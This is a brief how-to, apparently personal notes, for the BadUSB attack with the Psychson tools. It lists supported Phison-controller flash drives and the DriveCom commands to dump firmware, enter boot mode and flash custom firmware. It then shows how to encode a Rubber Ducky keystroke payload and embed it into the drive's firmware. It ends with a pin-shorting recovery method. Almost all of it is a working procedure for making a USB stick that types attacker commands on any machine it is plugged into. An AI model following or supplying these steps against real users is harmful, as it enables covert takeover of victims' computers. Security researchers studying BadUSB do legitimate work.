https://slides.com/zettain/bad-usb
https://github.com/adamcaudill/Psychson
Supported devices
- Patriot 8GB Supersonic Xpress*
- Kingston DataTraveler 3.0 T111 8GB
- Silicon power marvel M60 64GB
- Patriot Stellar 64 Gb Phison
- Toshiba TransMemory-MX USB 3.0 16GB
- Toshiba TransMemory-MX USB 3.0 8GB
- Kingston DataTraveler G4 64 GB
- Patriot PSF16GXPUSB Supersonic Xpress 16GB
- Silicon Power 32GB Blaze B30 (SP032GBUF3B30V1K)
- Kingston Digital 8GB USB 3.0 DataTraveler
Getting the chip model
Download the firmware and flashing files
Firmware PS2251-03 flash chip
http://www.usbdev.ru/?wpfb_dl=777
Build environment
Visual Studio 2012
SDCC (Small Device C Compiler) install path C:\Program Files\SDCC You can first compile DriveCom and Injector
Plug in the USB and use DriveCom to check whether it detects anything tools\DriveCom.exe /drive=D /action=GetInfo
DumpFirmware
DriveCom.exe /drive=E /action=DumpFirmware /firmware=[firmware]
Flashing Custom Firmware
Confirm it is in BootMode
tools\DriveCom.exe /drive=E /action=SetBootMode
tools\DriveCom.exe /drive=D /action=SendExecutable /burner=[burner.bin]
tools\DriveCom.exe /drive=D /action=SendFirmware /burner=[burner.bin] /firmware=[firmware]
HID Payload
Download https://code.google.com/p/ducky-decode/
First convert payload.txt to .bin
Java Runtime Environment is required
java -jar encoder.jar -i payload.txt -o inject.bin
After generating inject.bin you also need a custom firmware; go to the Psychson-master\firmware build bin folder, where there is a fw.bin to copy out
Inject inject.bin into fw.bin
tools\EmbedPayload.exe inject.bin fw.bin
tools\DriveCom.exe /drive=D /action=SetBootMode
tools\DriveCom.exe /drive=D /action=SendExecutable /burner=bn.bin
tools\DriveCom.exe /drive=D /action=SendFirmware /burner=bn.bin /firmware=fw.bin
How to reflash the firmware and restore a working USB
Reflashing requires entering BootMode, but sometimes you can’t get in via commands, so you have to use the short-circuit method: refer to the pinout below, place a single-core wire or small scissors on it, and then plug in the USB
Psychson-master\docs\PinsToShortUponPlugInForBootMode.jpg
To turn it back into a normal USB you can use MPALL v3.71.0A_03 MLC(UP03 64pin)